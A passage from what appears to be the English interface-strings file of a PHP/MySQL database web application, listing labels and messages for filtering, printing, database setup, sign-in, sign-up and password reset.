Filters",<br /> "saved filters instructions": "Copy the code below and paste it to an HTML file to save the filter you just defined so that you can return to it at any time in the future without having to redefine it. You can save this HTML code on your computer or on any server and access this prefiltered table view through it.",<br /> "hide code": "Hide this code",<br /> "printer friendly view": "Printer-friendly view",<br /> "save as csv": "Download as csv file (comma-separated values)",<br /> "edit filters": "Edit filters",<br /> "clear filters": "Clear filters",<br /> "order by": "Order by",<br /> "go to page": "Go to page:",<br /> "none": "None",<br /> "Select all records": "Select all records",<br /> "With selected records": "With selected records",<br /> "Print Preview Detail View": "Print Preview Detail View",<br /> "Print Preview Table View": "Print Preview Table View",<br /> "Print": "Print",<br /> "Cancel Printing": "Cancel Printing",<br /> "Cancel Selection": "Cancel Selection",<br /> "Maximum records allowed to enable this feature is": "Maximum records allowed to enable this feature is",<br /> "No matches found!": "No matches found!",<br /> "Start typing to get suggestions": "Start typing to get suggestions.",<br /> "are you sure?": "Are you sure you want to delete this record?",<br /> "add new record": "Add new record",<br /> "update record": "Update record",<br /> "deselect record": "Deselect record",<br /> "couldn't delete": "Could not delete the record due to the presence of <RelatedRecords> related record(s) in table [<TableName>]",<br /> "confirm delete": "This record has <RelatedRecords> related record(s) in table [<TableName>]. Do you still want to delete it? <Delete> &nbsp; <Cancel>",<br /> "yes": "Yes",<br /> "pkfield empty": " field is a primary key field and cannot be empty.",<br /> "upload image": "Upload new file ",<br /> "select image": "Select an image ",<br /> "remove image": "Remove file",<br /> "month names": "January,February,March,April,May,June,July,August,September,October,November,December",<br /> "field not null": "You cannot leave this field empty.",<br /> "*": "*",<br /> "today": "Today",<br /> "Hold CTRL key to select multiple items from the above list.": "Hold CTRL key to select multiple items from the above list.",<br /> "Save New": "Save New",<br /> "Save As Copy": "Save As Copy",<br /> "Deselect": "Cancel",<br /> "Add New": "Add New",<br /> "Delete": "Delete",<br /> "Cancel": "Cancel",<br /> "Print Preview": "Print Preview",<br /> "Save Changes": "Save Changes",<br /> "CSV": "Save CSV",<br /> "Reset Filters": "Show All",<br /> "Find It": "Find It",<br /> "Previous": "Previous",<br /> "Next": "Next",<br /> "Back": "Back",<br /> "homepage": "Homepage",<br /> "error:": "Error:",<br /> "sql error:": "SQL error:",<br /> "query:": "Query:",<br /> "< back": "Back",<br /> "if you haven't set up": "If you haven't set up the database yet, you can do so by clicking <a href='setup.php'>here<\/a>.",<br /> "file too large": "Error: The file you uploaded exceeds the maximum allowed size of <MaxSize> KB",<br /> "invalid file type": "Error: This file type is not allowed. Only <FileTypes> files can be uploaded",<br /> "goto start page": "Back to start page",<br /> "no db connection": "Couldn't establish a database connection.",<br /> "no db name": "Couldn't access the database named '<DBName>' on this server.",<br /> "provide connection data": "Please provide the following data to connect to the database:",<br /> "mysql server": "MySQL server (host)",<br /> "mysql username": "MySQL Username",<br /> "mysql password": "MySQL password",<br /> "mysql db": "Database name",<br /> "connect": "Connect",<br /> "setup performed": "Setup already performed on",<br /> "delete md5": "If you want to force setup to run again, you should first delete the file 'setup.md5' from this folder.",<br /> "table exists": "Table <b><TableName><\/b> exists, containing <NumRecords> records.",<br /> "failed": "Failed",<br /> "mysql said": "MySQL said:",<br /> "table uptodate": "Table is up-to-date.",<br /> "couldnt count": "Couldn't count records of table <b><TableName><\/b>",<br /> "creating table": "Creating table <b><TableName><\/b> ... ",<br /> "tableAccessDenied": "Sorry! You don't have permission to access this table. Please contact the admin.",<br /> "not signed in": "You are not signed in",<br /> "sign in": "Sign In",<br /> "signed as": "Signed in as",<br /> "admin setup needed": "Admin setup was not performed. Please log in to the <a href=admin\/>admin control panel<\/a> to perform the setup.",<br /> "db setup needed": "Program setup was not performed yet. Please log in to the <a href=setup.php>setup page<\/a> first.",<br /> "new record saved": "The new record has been saved successfully.",<br /> "record updated": "The changes have been saved successfully.",<br /> "login failed": "Your previous login attempt failed. Try again.",<br /> "sign in here": "Sign In Here",<br /> "remember me": "Remember me",<br /> "go to signup": "Don't have a username? <br>&nbsp; <a href=membership_signup.php>Sign up here<\/a>",<br /> "forgot password": "Forgot your password? <a href=membership_passwordReset.php>Click here<\/a>",<br /> "browse as guest": "<a href=index.php>Continue browsing as a guest<\/a>",<br /> "no table access": "You don't have enough permissions to access any page here. Please sign in first.",<br /> "signup": "Sign up",<br /> "user already exists": "Username '<MemberID>' already exists. Try another username.",<br /> "user available": "Username '<MemberID>' is available and you can take it.",<br /> "empty user": "Please type a username in the box first then click 'Check availability'.",<br /> "thanks": "Thank you for signing up!",<br /> "sign in no approval": "If you have chosen a group that doesn't require admin approval, you can sign in right now <a href=index.php?signIn=1>here<\/a>.",<br /> "sign in wait approval": "If you have chosen a group that requires admin approval, please wait for an email confirming your approval.",<br /> "username empty": "You must provide a username. Please go back and type a username",<br /> "password invalid": "You must provide a password of 4 characters or more, without spaces. Please go back and type a valid password",<br /> "password no match": "Password doesn't match. Please go back and correct the password",<br /> "username exists": "Username already exists. Please go back and choose a different username.",<br /> "email invalid": "Invalid email address. Please go back and correct your email address.",<br /> "group invalid": "Invalid group. Please go back and correct the group selection.",<br /> "sign up here": "Sign Up Here!",<br /> "registered? sign in": "Already registered? <a href=index.php?signIn=1>Sign in here<\/a>.",<br /> "sign up disabled": "Sorry! Sign-up is temporarily disabled by admin. Try again later.",<br /> "groups *": "If you choose to sign up to a group marked with an asterisk (*), you won't be able to log in until the admin approves you. You'll receive an email when you are approved.",<br /> "sign up": "Sign Up",<br /> "password reset": "Password Reset Page",<br /> "password reset details": "Enter your username or email address below. We'll then send a special link to your email. After you click on that link, you'll be asked to enter a new password.",<br /> "password reset subject": "Password reset instructions",<br /> "password reset message": "Dear member, \n If you have requested to reset\/change your password, please click on this link: \n <ResetLink> \n\n If you didn't request a password reset\/change, please ignore this message. \n\n Regards.",<br /> "password reset ready": "An email with password reset instructions has been sent to your registered email address. Please follow the instructions in that email message.<br><br>If you don't receive this email within 5 minutes, try resetting your password again, and make sure you enter a correct username or email address.",<br /> "password reset invalid": "Invalid username or password. <a href=membership_passwordReset.php>Try again<\/a>, or go <a href=index.php>back to homepage<\/a>.",<br /> "password change": "Password Change Page",<br /> "new password": "New password",<br /> "password reset done": "Your password was changed successfully. You can <a href=index.php?signOut=1>log in with the new password here<\/a>.",<br /> "Loading ...": "Loading ...",<br /> "No records found": "No records found",<br /> "You can add children records after saving the main record first": "You can add child records after saving the main record first",<br /> "ascending": "Ascending",<br /> "descending": "Descending",<br /> "then by": "Then by",<br /> "Legend": "Legend",<br /> "Table": "Table",<br /> "Edit": "Edit",<br /> "View": "View",<br /> "Only your own records": "Only your own records",<br /> "All records owned by your group": "All records owned by your group",<br /> "All records": "All records",<br /> "Not allowed": "Not allowed",<br /> "Your info": "Your info",<br /> "Hello user": "Hello %s!",<br /> "Your access permissions&qu